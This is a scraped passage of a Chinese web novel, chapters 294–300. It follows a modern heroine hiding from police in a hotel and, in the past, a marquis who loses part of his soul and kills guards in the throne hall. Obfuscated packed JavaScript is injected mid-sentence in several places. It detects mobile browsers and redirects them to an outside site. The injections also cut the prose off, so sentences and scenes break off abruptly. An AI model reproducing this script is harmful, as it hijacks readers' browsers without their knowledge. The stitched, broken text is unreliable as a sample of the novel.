第二天清晨,天还未大亮,城市尚在沉睡之中。秦绵绵口袋里的手机极轻地振动了一下。 是朱七妹发来的微信,依旧是言简意赅。 “张队搜山无果,人撤回来了。但他申请了协查,准备对全城的酒店、旅馆进行地毯式排查。” 秦绵绵的瞳孔一缩。 姚祁和姜敬意已经看到了她脸色的变化,不用她开口,也猜到了七八分。 灯下黑的计策,只能用一次。他们必须立刻转移。 就在他们准备趁着天色未明离开时,楼下大堂突然传来一阵压抑不住的喧哗。 不是住客退房的嘈杂,也不是伙计准备开张的忙乱,而是一种夹杂着训斥和辩解的混乱动静。 秦绵绵心头一凛,走到窗边,指尖捻开百叶窗的一道窄缝。 街对面的晨雾还未散尽,自家的客栈静悄悄的。 而楼下,一辆警车的顶灯无声地闪烁着蓝红的光,将吉祥客栈门口几个人的脸照得忽明忽暗。 张队他竟然提前来了。 他身边还跟着两名制服笔挺的年轻警察,正对着客栈的前台说着什么,神情严肃。 秦绵绵微微开窗听了一会儿。 “一个住客报案称钱包被偷,张队正好路过,就直接进来处理,打乱了原定的排查顺序。” 众人的脸色都很难看。 按理说青塔湖景区应该是他们搜查的最后一站,却因为一桩临时的窃案,把他们堵死在了这里。 姜敬意刚扶着林鸢站起身,闻言脸色又白了回去,下意识地压低声音:“怎么会这么巧?” 姚祁的目光扫过房门:“麻烦找上门了。” 话音未落,门外走廊里响起了一阵车轮滚动的轻微噪音,由远及近。 “笃、笃。” 房门被不轻不重地敲了两下。 三人瞬间绷紧。 门外传来一个中年女人略带疲惫的声音:“客房服务,打扫卫生。” 是清洁阿姨。 姚祁和秦绵绵对视一眼,立刻上前一步,将门拉开一道缝。 他高大的身躯正好挡住了屋内的景象,脸上挂起那种惯常的、带点痞气的笑容,声音也刻意放得又轻又懒:“阿姨,不用了,我女朋友还在睡,别吵着她。” 他说话时,特意朝里面看了一眼,眼神温柔得能掐出水来。 清洁阿姨显然见多了这种场面,了然地笑了笑,点点头,推着车走向下一间。 门刚关上,姚祁脸上的笑意便消失得无影无踪。 可危机并未解除。 楼下,处理完那桩鸡毛蒜皮的钱包窃案,张队显然没打算就此收队。 “……来都来了,就从这儿开始吧。” 他那中气十足的声音,顺着楼梯间隐约传了上来,像一把重锤敲在每个人的心上。 清晰的脚步声,混杂着对讲机里时不时冒出的电流声,正在一级一级地逼近。 “来不及了。”姜敬意急得额头冒汗。 脚步声停在了门外。 就在姜敬意以为下一秒就是警察破门而入的巨响时,秦绵绵却做了一个让所有人都没想到的动作。 她一把脱掉外套,只留下一件贴身的T恤,然后拧开床头柜上一瓶没喝完的矿泉水,兜头浇下,将自己的头发和肩膀淋得湿透。水珠顺着她的发梢、脸颊、脖颈滑落,洇湿了胸前的衣料。 “四叔,带她进浴室,锁好门,别出声。”她言简意赅地命令道,声音里没有半分惊慌。 姜敬意愣住了,但还是下意识地照做,连拖带抱地将林鸢弄进了狭窄的浴室。 秦绵绵则转向姚祁,用眼神示意了一下大床。 姚祁瞬间明白了她的意图,他看着秦绵绵湿漉漉的狼狈模样和那双冷静深邃的眼睛,心脏像 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可床上这个……分明是之前在客栈打杂的那个伙计,姚祁! 他们俩……搞到一起去了? 而且还跑到自家客栈对面的客栈里来……偷那个啥? 一时间,空气中弥漫着一种难以言喻的尴尬。 张队一个常年跟**打交道的老刑警,此刻竟有些手足无措。 “张队,好巧啊。” 秦绵绵仿佛没看到他脸上的震惊,反而大大方方地侧开身,做了一个“请”的手势,语气里满是“我很大度但你最好快点”的意味。 “要检查是吧?进来看吧,随便看,看完我们还要补觉呢。” 她越是这样坦然,越是这样理直气壮,张队心里那点刚刚升起的疑心,反而迅速地熄灭了。 他觉得是自己想多了,或许是自己大惊小怪,打扰了人家年轻人的私生活。 他尴尬地咳嗽了一声,视线象征性地在屋里扫了一圈。 第295章整间屋子的气氛都不对 整洁的床铺,乱丢的衣物,紧闭的浴室门……一切都像是一间普通的、刚刚经历过某些事情的客房。 “不……不用了。”张队摆了摆手,脸上挤出一个比哭还难看的笑容,“打扰了,你们继续。” 说完,他几乎是落荒而逃般地转身,带着身后两个一脸茫然的年轻警察走向了下一间。 门轻轻合上,隔绝了外面愈行愈远的脚步声和对讲机里的电流杂音。 紧绷的空气,在这一刻才终于松懈下来。 姚祁从被子里坐起来,赤着上身,结实的肌肉线条在昏暗的灯光下若隐若现。 他看着还站在门口,浑身湿透的秦绵绵,眼神里有些说不清道不明的东西在翻涌。 “我……”他刚开口,想说点什么打破这古怪的气氛。 秦绵绵却已经转过身,随手从床头柜上抽了几张纸巾,胡乱地在头发和脸上擦着,动作快得像是在掩饰什么。 “我去拿毛巾。”姚祁下了床,随手抓起搭在椅子上的T恤套上,从行李包里翻出一条干净的毛巾递过去。 指尖交错的瞬间,他能感觉到她皮肤上残留的冰凉。 秦绵绵接过毛巾,低着头,闷声擦着头发,水珠顺着发梢滴滴答答地落在地毯上,发出细微的声响。 偶尔一抬眼,便看到姚祁结实的肩背上那些明显的伤痕印记。 他在萧玦手下吃了许多苦,这些跟朱七妹有关系,也跟她有一些脱不开的关系。 秦绵绵迅速地别开了眼睛去。 狭小的空间里,一时间只剩下这声音和两人略显沉重的呼吸。 浴室的门锁,在这时“咔哒”一声被打开了。 姜敬意扶着林鸢走出来,他的脸色比刚才还要难看,像是经历了一场酷刑。 而林鸢则靠着门框,脸色苍白,眼神也有点飘忽。 浴室里那几分钟,对姜敬意来说比在断崖上攀爬还要煎熬。 他想扶她,她会躲;他想让她坐下,她宁愿靠着冰冷的瓷砖墙。 那份拒人于千里之外的冷漠,像一根根无形的针,扎得他心口发麻。 但两个人却又近在咫尺,久远的尘封记忆潮水般袭来,在这狭小的空间中仿佛要把人淹没。 姜敬意的心思都写在脸上,林鸢看起来很冷漠,可眉梢眼角的一丝丝异常,也并没有逃过众人的眼睛。 一时间,整间屋子里的气氛都十分的暧昧不明。 四个人第一时间谁都没说话。 “警察应该都走了。”最终,姜敬意清了清嗓子,试图让一切回归正轨。 “短时间内不会再来,但这里不能久留。”姚祁接口道,目光扫过窗外,“我们得找个更安全的地方。” 就在这时,秦绵绵口袋里的手机,再次极轻地振动了一下。 不是朱七妹。 是一个陌生的加密通讯请求。 秦绵绵的指尖在屏幕上点了两下,接通了。 一条信息弹了出来,没有多余的寒暄,只有一个名字和一份被标记为“绝密”的档案附件。 打开一看,文档的名字是:严启山。 这是一个人的档案。 秦绵绵点开,一目十行地扫过。 姚祁和姜敬意都凑了过来。 档案不长,但内容却足够惊人。 严启山,京城严氏集团的上一代掌舵人,在三十年前,通过一个境外掮客,雇佣了一支国际知名的文物**团伙,从青塔湖后山石窟,盗走了那尊千年大佛的佛头。 “严启山……” 姜敬意念出这个名字,眉头紧锁,在脑中飞快地搜索着。 这个名字他似乎有些印象,但又很模糊。 “他不是早就**吗?”一个清冷的声音忽然响起。 三人齐齐看向林鸢。 她的脸上带着一种若有所思的神情,那不是疑问,而是确认。 “官方记录里,严启山二十年前就因为突发心脏病去世了。他死后没多久,严家就败了,家道中落,树倒猢狲散,听说家里人死的死,散的散,早就没什么人了。” 姜敬意有些讶异地看着她:“你怎么会知道得这么清楚?” 林鸢闻言,像是听到了什么好笑的事情,扯了扯嘴角,那笑容里带着毫不掩饰的讥诮和一丝与生俱来的骄傲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云承月还好,只是脱力般瘫软在地,脸色苍白如纸。 而他怀里护着的裴应见,却双目紧闭,面无血色,整个人像是被抽走了魂魄,毫无生气。 第296章 情况更糟了 “把他扶到榻上,快!” 最先冷静下来的,反而是眼睛手术完还缠着绷带,不能视物的云承月。 他摸索着从地上坐起,一手撑着地面,另一只手已经搭上了裴应见的脉搏。 那双总是含着温润笑意的眸子,此刻空洞地“望”着裴应见的方向,侧耳倾听着他微弱到几乎不存在的呼吸。 指尖传来的脉象,乱如散沙,若有似无,仿佛随时都会断绝。 “怎么回事?侯爷身上没有伤口!”青川将裴应见抱到床榻上,手忙脚乱地解开他的衣襟,露出的胸膛却光洁完好,只有肋下一道疤痕,但那却是上次受伤的事情了。 可裴应见的身体,却在以一种肉眼可见的速度变得冰冷。 “不是皮肉伤……”云承月的声音干涩而凝重,他摸索着探向裴应见的胸口,那里的肌肤之下,似乎有一股诡异的力量在乱窜,破坏着他所有的生机。 那感觉,他从未遇到过。 当时发生了什么,他不是很清楚,但感觉上,裴应见应当是被什么武器击中了。 可此刻却并没有什么伤口,这到底是怎么回事? 而那个时候,却正是他们正在回大雍的过程中,是否…… “备水,备针,去密室把我那个紫檀木的匣子取来!” 银针在烛火上烤得微微发红。 云承月跪坐在榻边,凭借着记忆和出神入化的触感,将一根根银针刺入裴应见周身的大穴。 他的额角渗出细密的汗珠,顺着苍白的脸颊滑落,整个人也像是一盏即将燃尽的油灯。 要知道他前一天才刚刚做了心脏手术,此刻本应该躺在床上静养才对。 但为了救裴应见的命,顾不得这么许多了。 “咳……咳咳……”裴应见在昏迷中发出一阵剧烈的呛咳,一口暗红色的血,猛地从他口中呕出,溅在明黄色的锦被上,触目惊心。 就在这要命的关头,书房外,传来青义的声音。 “云先生,宫里来人了。” 云承月的手微微一顿,针尖险些偏了分毫。 “说是陛下听闻侯爷前些日子**受惊,一直未愈,特派了太医前来探望,为侯爷诊脉。” 这哪里是探望,分明是来查探虚实的。 裴应见凭空消失,这么久的时间一直以养病为由不出门,任何人都不见,时间长了,皇帝必然疑心大起。 此刻派人前来,若是发现侯府戒备森严,主人家却迟迟不露面,那便是坐实了他们有不可告人的秘密。 所有人的心都提到了嗓子眼。 榻上,裴应见的呼吸依旧微弱,生死一线。 门外,是皇帝探来的爪牙,步步紧逼。 云承月沉默了片刻,空洞的眼眸转向门口的方向。 “青川,你去前面应付。就说侯爷在闭关静养,不见任何人。这是他之前就定下的规矩。至于太医……” 他顿了顿,嘴角勾起一抹极淡的、带着讥诮的弧度。 “就说我云承月被侯爷请来了,侯爷的身体由我一人调理足矣,不劳他们费心。” 他这是要用自己做挡箭牌。 青川咬了咬牙,知道这是眼下唯一的办法。他深深地看了一眼榻上的裴应见,转身大步离去。 前厅,气氛凝重如水。 皇帝派来的是太医院院使刘大人,此刻正端着一杯早已凉透的茶,皮笑肉不笑地看着主座上脸色铁青的青川。 “本官也是奉皇命而来,为侯爷诊脉,是陛下的恩典。侯爷这般闭门不见,是不是有些……说不过去啊?” 青川面无表情:“侯爷有令,天大的事也不能打扰。刘大人若是不信,大可在此等候,只是不知要等到何时了。” “你!”刘院使气得吹胡子瞪眼,转念一想,又道,“神医云承月果然在此?在下许久未见云神医了,倒是想念的紧,不如……” 青川哪有不明白的,他这是想证实一下事实是否如此。 但云承月正在照顾裴应见,自不会出来与他相见。 就在两人僵持不下,厅中气氛一触即发之时,一个清越的声音从屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他体内的那股力量在冲撞心脉,银针压不住。再耗下去,神仙难救。”云承月没有解释太多,只是用那双空洞的眼睛“看”着青川,“我要在他心口放血,引邪外出。此法凶险,九死一生。但现在,没得选。” 用一个将死之人的心头血,去搏那一线生机。 青川的后背瞬间被冷汗浸透。 他看着榻上双目紧闭,面如金纸的裴应见,又看了看跪坐在旁,自己也摇摇欲坠的云承月,牙关狠狠一咬。 “取刀!” 锋利的**在烛火上烧得通红,被青川递到云承月手中。 “对准心口,偏一分,他立时毙命。”云承月沉声嘱咐,另一只手死死按住裴应见的胸膛,感知着那股力量最狂暴的位置。 他的手很稳,稳得不像一个刚动过大手术、目不能视的废人。 就在他准备刺下的瞬间,书房的门被人从外面重重拍响,力道之大,仿佛要将门板拆了。 “青川!宫里的禁卫又来了,说刘院使回去复命,陛下不信,要亲自派人搜查侯府,看看侯爷是否真的在府上!” 是守在前院的青义,声音里带着压不住的惊惶。 这一次,皇帝连遮羞布都不要了。 屋内的几人,心脏齐齐悬到了嗓子眼。 青川握着**的手都在抖,他望向云承月。 前有追兵,后是死路,这分明是要将他们往绝路上逼。 云承月的脸色白得像纸,嘴唇却勾起弧度。 “堵住门,天王老子来了也别开。” 他不再犹豫,凭着记忆与触感,手中烧红的**对准那个位置,稳稳地、一寸一寸地刺了下去。 “噗——” 一股黑血,如同毒蛇般从伤口处喷涌而出,溅了云承月满脸。 那血带着一股奇异的腥臭,落在地上,竟发出“滋滋”的腐蚀声响。 云承月整个人如遭重击,向后一仰,被青理眼疾手快地扶住。 他张口,也呕出一口血来,却是鲜红的。 “云先生!”青川大惊失色。 “无妨……”云承月摆了摆手,侧耳去听。 府门外的拍门声和叫嚷声还在继续,但屋内,那死寂被一道微弱却清晰的心跳声打破了。 咚……咚咚…… 虽然缓慢,却沉稳有力。 榻上,裴应见冰冷的身体,开始一丝丝地回温。 “侯爷……侯爷的脉象稳住了!”青理惊喜地叫道。 青川腿一软,几乎要跪倒在地。 不知过了多久,当天边泛起鱼肚白,门外的禁卫终于撤走时,这场惊心动魄的抢救才算告一段落。 云承月没多久就脱力昏睡过去,被安顿在偏房。 青川和青理守在床边,一夜未眠,直到傍晚时分,裴应见的手指才终于动了一下。 他缓缓睁开了眼睛。 青川和青理立刻赶上前去,却在看见裴应见的一瞬间愣住。 那是一双怎样的眼睛。 褪去了以往的深沉、锐利与算计,只剩下一种纯粹的、近乎茫然的空洞。 “侯爷,您醒了!”青川几乎喜极而泣,连忙上前,“您感觉怎么样?” 裴应见却没有理他。 他的目光越过青川,像是在寻找什么。 那目光扫过书房里的陈设,扫过忠心耿耿的下属,没有任何停留,仿佛这些东西于他而言,都只是没有意义的虚影。 最后,他慢慢地转过头,视线定格在青川脸上,喉结滚动,发出了醒来后的第一个声音。 沙哑,却带着一种不容置喙的执拗。 “她呢?” 青川愣住了:“谁?” 裴应见的眉头微微蹙起,似乎对这个问题感到很不解,又像是在费力地思考那个称呼。 过了一会儿,他才吐出两个字。 “绵绵。” 他的声音很轻,可这两个字却像两把重锤,砸在青川和刚刚被推进来的云承月心上。 侯爷的语气,很是奇怪。 奇怪的让他们都感到陌生……这是怎么回事? 云承月空洞的眼眶猛地转向床榻的方向。 他看不到裴应见的神情,却能从那两个字里,听出一种令人心悸的、全然陌生的东西。 不是担忧,不是思念,而是一种……孩童寻找唯一所属物的本能。 这是让他全然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905183|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陌生的裴应见。 “侯爷,秦姑娘她……她不在。”青川小心翼翼地回答,“您重伤初愈,当以身体为重,其他的事……” 话未说完,裴应见却已经掀开被子,径直坐了起来。 他动作间,胸口的伤被牵扯到,鲜血立刻洇湿了绷带,可他却像感觉不到痛楚一般,赤着脚就要下地。 “我要去找她。” 他的语气平静,却带着一种理所当然的意味,仿佛这就是天地间唯一要紧的事。 皇帝的猜忌,自身的安危,眼前的困局,他全然不顾。 “侯爷,不可!”青川大惊,连忙上前拦阻。 裴应见抬眼看他,那双空茫的眸子里,第一次有了情绪。 那是一种被打扰的不悦,冰冷而陌生。 他伸手,只是轻轻一推。 青川却感觉一股大力袭来,整个人不受控制地向后踉跄了好几步,重重撞在书架上。 他骇然地看着裴应见。 侯爷的武功……似乎比从前更加深不可测。 可这个人,却又陌生得可怕。 云承月操纵着轮椅,一步步走到床边,他伸出手,摸索着探向裴应见的眉心。 那里一片冰凉。 “侯爷,”云承月的声音干涩无比,“你还记得自己是谁吗?” 裴应见看着他,眼神里带着困惑,似乎不明白这个问题。 他想了很久,才慢慢地、不确定地吐出几个字: “裴应见……” 然后,他看向青川,又看向自己胸口的伤,眸中的困惑更深,仿佛在问——我是谁,你们是谁,这里是哪里。 可下一瞬,所有的困惑都消失了,重新被那种偏执的空洞所取代。 “我要绵绵。” 他重复道,这一次,语气里带上了一丝不耐。 云承月的手,无力地垂了下来。 他好像有点明白了。 这一次从那个时代归来,裴应见受到重创的,不仅仅是身体。 他虽然被他们费劲心力救回来了,但回来的,只是一个躯壳。 一个只记得爱意,却丢失了记忆,丢失了所有过往的……空壳。 第298章 圣旨到 这种情况,在他们古代,也被人称作“魂魄不全”。 裴应见的一部分魂魄,竟然因为那一枪,而在时空归来的路上,丢了。 …… 与此同时,皇宫,御书房。 “废物!” 一声怒喝,上好的端砚被狠狠掼在金砖上,碎成了几块,墨汁四溅。 身着明黄龙袍的皇帝胸膛剧烈起伏,眼中是压不住的怒火和疑心。 宫人们见状,个个噤若寒蝉。 御书房内,一片死寂,只有皇帝粗重的呼吸声在空旷的殿内回响。 不多时,一个消瘦的红衣身影慢慢走进来,宫人们顿时如蒙大赦,快步退了出去。 月娘走进来,无声跪下。 皇帝看见是她,怒火才终于消下去一些。 “镇国侯府那边,查得如何?”皇帝的声音从龙椅上传来,略带疲惫。 “回陛下,侯府戒备森严,月娘无功而返。”月娘的声音平直,没有一丝波澜,仿佛在陈述一件与自己毫不相干的事实。 她只字未提自己与裴应见的交手和受伤,更没说自己险些折在那里的狼狈。 “无功而返?”皇帝冷笑一声,将手中的奏折狠狠摔在龙案上,“一个刘院使无功而返,你也无功而返!朕的人,何时变得如此无用了!” 月娘伏得更低,不发一言。 皇帝在御案后踱步,眼中的疑云与怒火交织,几乎要喷薄而出: “一个旧伤,要养这么久?一个闭关,连朕派去的太医都敢拒之门外?禁军都进不去!……好,好一个镇国侯!” 月娘不发一言,此事应与她的差事无关。 但那个男人…… 想到过去种种,月娘若有所思。 “传朕旨意!”皇帝走了几个来回,的声音陡然拔高,“宣镇国侯裴应见,明日早朝,立刻入宫面圣!朕倒要亲眼看看,他是不是真的病的连床都下不了了!就算下不了,抬也得给我抬过来!活要见人,死要见尸!” 旨意既下,便再无转圜的余地。 月娘眼底划过一丝微不可察的幽光。 看来,很快就能和那个男人再见面了。 他……真的伤的很重? …… 魂魄不全。 这个认知,像一块寒冰,沉甸甸地坠在云承月和青川的心口。 “侯爷他……方才推我那一下,”青川扶着被撞得生疼的肩膀,声音里还带着未散的骇然,“力道比从前只强不弱。可人却……” 人却完全不对了。 那感觉,就像面对一头只凭本能行事的猛兽,而非那个运筹帷幄的镇国侯。 云承月惨白的脸上没有一丝血色,他操纵着轮椅,挡在了裴应见下床的路径前。 “没了理智的束缚,只凭本能行事,力量自然更加纯粹。”他的声音虚弱,却清晰地传入房中每个人的耳中,“也……更加危险。” 榻上的人对此毫无所觉。 裴应见又一次掀开了被子,胸口渗出的血迹在白色的绷带上扩大,蜿蜒出刺目的红。 他像是感觉不到分毫痛楚,赤着脚,踩在了冰凉的地砖上。 “找绵绵。” 依旧是这句话,偏执,纯粹,不含任何杂质。 仿佛天地间,只剩下这一件事。 “侯爷,您不能出去!”青川再次上前,却不敢再轻易碰他。 裴应见的目光终于从虚无中抽离,落在了挡路的云承月身上。 那空洞的眸子里,第一次浮现出清晰的情绪——一种被阻碍的、冰冷的烦躁。 “她不在这里。”云承月迎着那道视线,用尽全身力气,一字一句地说道:“这里,不是她的世界。你想去找她,就必须先‘回来’。” “回来”两个字,他说得极重。 裴应见的眉心,几不可察地蹙了一下。 空茫的眼神里,似乎有什么东西在挣扎,像是在竭力理解这个词的含义。 但那份根植于灵魂深处的偏执,却丝毫未减。 正当书房内死寂一片时,府门外陡然传来一阵尖利高亢的唱喏声,那声音穿透了重重院墙,刺得人耳膜生疼。 “——圣旨到!” 青川和青理的脸,“唰”地一下全白了。 怕什么来什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905184|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 皇帝的耐心,终于耗尽了。 方才不让禁军进入,用的是云承月在治疗的借口,皇帝敬重云承月,想来也没办法在此事上真的计较。 但此刻的这一道圣旨,他们却无论如何也躲不掉了。 在得知圣旨上的内容后,众人心里都是一沉。 如今的侯爷这副模样,如何面圣? 这和提着头颅,自己走进罗网,又有什么区别? “云先生……”青川的声音沉的发涩。 云承月却没回答,只是伸出手,动作缓慢却坚定地,将蒙在眼上许久的白布一圈一圈解了下来。 布条落地,露出一双清亮幽深的眼眸。 那双眼睛里,再无半分浑浊,瞳孔映着烛火,亮得惊人。 青川和青理瞬间瞠目结舌,如遭雷击。 云先生的眼睛……好了?! 云承月没有理会他们的震惊,只是用那双重见光明的眼睛,静静地看着床榻上神情空茫的裴应见,“明日我陪侯爷,同去。” 他顿了顿,将那条白布重新拾起,递给青川。 “再帮我系上。” 青川猛地回神,瞬间明白了云承月的意图。 皇帝敬重神医云承月,却不知这位神医是镇国侯的生死之交。一个“眼盲体弱”的神医,是他们如今唯一能用的挡箭牌。 …… 翌日,天光微亮。 沉寂多日的镇国侯府朱漆大门,在无数双眼睛的注视下,吱呀一声,缓缓敞开。 青川搀扶着裴应见,一步步走了出来。 街角巷尾,所有探子都屏住了呼吸。 只见那位权倾朝野的镇国侯,面色苍白如纸,身形笔挺,眼神却空洞得没有焦距,像一尊被抽去魂魄的精美人偶,任由身边的下属搀扶着,看不出半分情绪。 更引人注目的是他身后的那架轮椅。 神医云承月端坐其上,由青理推着,双目依旧蒙着那条洗得发白的布条,整个人透着一股久病缠身的孱弱,仿佛随时都会被风吹倒。 一行人登上马车,厚重的车帘落下,隔绝了外界所有的窥探。 第299章 护驾 车厢内,云承月从袖中摸出一颗蜡封的药丸,剥开后,悄无声息地塞进裴应见的嘴里。 他凑到裴应见耳边,用只有两人能听到的声音,低声嘱咐: “记住,无论发生什么,不要说话,不要动。” 裴应见的眼神依旧茫然,像是没听懂。 但他喉结滚动,将药丸咽了下去,之后便真的如木雕泥塑般,再无动作。 …… 金銮殿。 气氛肃杀,文武百官分列两侧,鸦雀无声。 高**之上的皇帝,目光如鹰隼,死死盯住从殿外一步步走入的裴应见。 裴应见全程沉默,站姿笔挺如松,却毫无生气。 皇帝试探性地问了几句,见他毫无反应,龙椅上的人耐心告罄,怒火终于转向了他身后的云承月。 “云先生!你可能给朕解释解释,朕的镇国侯,为何会变成这副模样!” 云承月操纵轮椅上前,朝着龙椅的方向微微躬身,不卑不亢地答道: “回陛下,侯爷前次**,伤及神魂根本。草民正在用独门针法‘封魂养神’为其诊治,此法需断绝五感六识,隔绝外物,不能言语,不能动作,方能聚拢散逸的神魂。若中途被打断,前功尽弃不说,侯爷……恐将彻底沦为痴傻之人。” 这番话,说得有理有据。 既完美解释了裴应见的异常,又将“治疗”的凶险后果抛了出来,堵**皇帝继续试探的所有路径。 皇帝闻言,脸色铁青,一时竟找不到任何破绽。 他冷笑一声,身旁侍立的大太监立刻心领神会,捏着嗓子,尖声叫道: “镇国侯尚能行走,可见身体无大碍,既如此,礼仪不可废,镇国侯裴应见,你面见圣上,为何不跪?!” 下首,裴应见却恍若未闻,连眼皮都没抬。 “大胆!”大太监见状,眼中闪过一丝得色,朝身后的小太监使了个眼色,“侯爷重伤在身,行动不便,你们,去‘扶’侯爷行礼!” 两个小太监立刻冲上前,伸手就要去按裴应见。 然而这一行为,仿佛触动了某个禁忌的开关。 就在他们的手即将碰触到裴应见的瞬间,异变陡生! 始终如人偶般静立的裴应见,动了。 他的手快如一道残影,后发先至,在所有人反应过来之前,已经闪电般扼住了一名太监的咽喉! “咔。” 一声轻微的骨裂声,在死寂的金銮殿上,清晰得令人头皮发麻。 那名太监的身体软软倒下。 裴应见缓缓抬起头。 那双空洞的眸子,死死地、精准地,锁定了龙椅上那抹明黄的身影。 一股冰冷的、不含任何人类情感的杀气,如同实质的潮水,瞬间席卷了整座金銮殿! 皇帝脸上的怒意和试探,瞬间凝固,化为惊骇与不可置信。 “护驾!护驾!!” 皇帝的尖叫声撕裂了金銮殿的庄严,他连滚带爬地躲到龙椅之后,明黄的龙袍狼狈地拖在地上,哪还有半分天子威仪。 十几名禁军侍卫闻声而动,持刀扑了上来,企图将裴应见制住。 然而,此刻的裴应见,已非凡人。 他没有招式,没有章法,只有最纯粹、最原始的杀戮本能。 面对劈来的长刀,他甚至不闪不避,只是侧身,手臂以一个诡异的角度探出,精准地扣住一名侍卫的手腕,轻轻一折。 “喀嚓!” 骨骼断裂的脆响,伴随着侍卫的惨嚎,他手中的刀应声落地。 裴应见的身形如鬼魅般穿过人群,所到之处,人仰马翻。 他仿佛感觉不到疼痛,也毫无畏惧,只是一个冰冷的、以最高效率清除障碍的机器。 十几个侍卫瞬间倒地。 裴应见顿住动作,抬头,目光盯向了龙椅后那个吓得魂飞魄散的人。 皇帝被这么一盯,顿时吓的腿都软了。 “护驾!!”他嘶声喊。 可此时此刻,金銮殿上也乱成了一锅沸粥。 文武百官惊恐地四散躲避,生怕被卷入这场单方面的屠戮。 十几个侍卫倒地后,一时间竟然没人再上来护驾了。 而裴应见,正一步一步朝着 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然而下一刻,透过眼前白布的缝隙,当云承月的目光落在她被轻纱笼罩的脸上时,他整个人如遭雷击。 那张脸…… 尽管隔着纱,但那轮廓,那眉眼,竟和秦绵绵……一模一样! 他记得上次离开前,他触摸到了这个**的脸,当时他就有了这种感觉。 那个时候他的眼睛还看不见,不太能确定,而今天,可以说是印证了他的想法了。 但……不可能的,秦绵绵是没办法自己来到这里的。 而且如果她来了,怎么会不来找他们? 而此刻眼前这个女子的声音却冷如冰霜,亦如她的人一样,往那里一站,就如同一柄出鞘的利剑,寒光摄人心魄。 她很像秦绵绵,但绝对不是她。 就在云承月惊疑不定的时候,更离奇的一幕发生了。 随着月娘的出现,那个杀意沸腾、无人能挡的裴应见,像是被按下了某个开关,所有的动作瞬间凝固。 第300章 赐封郡主 他松开了手里捏着的、只剩半条命的侍卫,缓缓转过身。 那股席卷整座大殿的、冰冷刺骨的杀气,如同被阳光驱散的晨雾,消失得无影无踪。 他那双空洞无神的眸子,直勾勾地、一眨不眨地,盯住了那个红衣女子。 那眼神里,狂暴的杀意褪去,迷茫的空洞也消失了,取而代之的,是一种前所未有的、全然陌生的情绪。 那是一种……混杂着困惑、依赖,与近乎偏执的迷恋。 仿佛一头迷途的幼兽,终于找到了归属。 他看着她,就像在看自己的全世界。 “绵绵……” 一声几不可闻的呢喃,从裴应见的唇边溢出。 整个金銮殿,死一般的寂静。 所有人都被眼前这诡异的景象惊得说不出话。 方才还如同地狱修罗的镇国侯,怎么被一个女人看了一眼,就变成了这副模样? 龙椅后的皇帝,颤巍巍地探出头,也震惊于眼前这一幕。 但在他看明白之后,眼中的惊骇慢慢被一种狂喜与算计所取代。 而轮椅上,云承月的手,在宽大的袖袍下,死死攥成了拳。 他感觉什么东西要失控了。 魂魄不全,神志不清的裴应见,丢失了所有的记忆与理智,唯独没有忘记那份深入骨髓的爱意。 可如今,这份爱意,这份唯一的执念,似乎要找错主人。 他……把这个容貌相似的女人,当成了他的绵绵。 皇帝,那个多疑狠戾的君王,从此有了一根能彻底牵制住裴应见的、最致命的缰绳! 金銮殿上,那一声轻如叹息的“绵绵”,像一道惊雷,劈在每个人的心上。 死寂。 针落可闻的死寂。 方才还因恐惧而瑟瑟发抖的文武百官,此刻全都瞪大了眼睛,像一群被扼住喉咙的鹌鹑,连呼吸都忘了。 那可是镇国侯裴应见。 是那个杀伐决断,足智多谋,连皇帝都忌惮三分的男人。 可现在,他却对着一个来历不明的女人,露出了……那种眼神。 一种野兽找到了驯养者,孤魂寻到了归宿的眼神。 龙椅之后,皇帝眼中的惊骇与恐惧,正以肉眼可见的速度,被一种扭曲的、贪婪的狂喜所取代。 真是没想到! 那根能套住猛虎脖颈的缰绳,那把能洞穿蛟龙逆鳞的利刃,就这么……自己送上门来了! “月娘。” 皇帝的声音再次响起,一扫方才的狼狈与惊惶,带上了一种玩味的、猫捉老鼠般的从容。 他从龙椅后走了出来,重新整理好仪容,居高临下地看着殿中的红衣女子。 “去看看侯爷,他似乎……只认得你。” 这道旨意,与其说是命令,不如说是一场心照不宣的试探。 月娘没有言语,只是微微颔首。 她莲步轻移,走向那个依旧静立在殿中央的男人。 她的步伐很稳,带着**特有的韵律,没有一丝多余的动作。 她打量着裴应见,那眼神,像是在审视一件称手的兵器,冷漠中,却又藏着一丝不易察觉的好奇。 她在他面前站定。 那股曾席卷整座大殿的杀气,在她的靠近下,温顺得像是不存在一般。 月娘伸出手,冰凉的指尖,轻轻抚上他苍白的面颊。 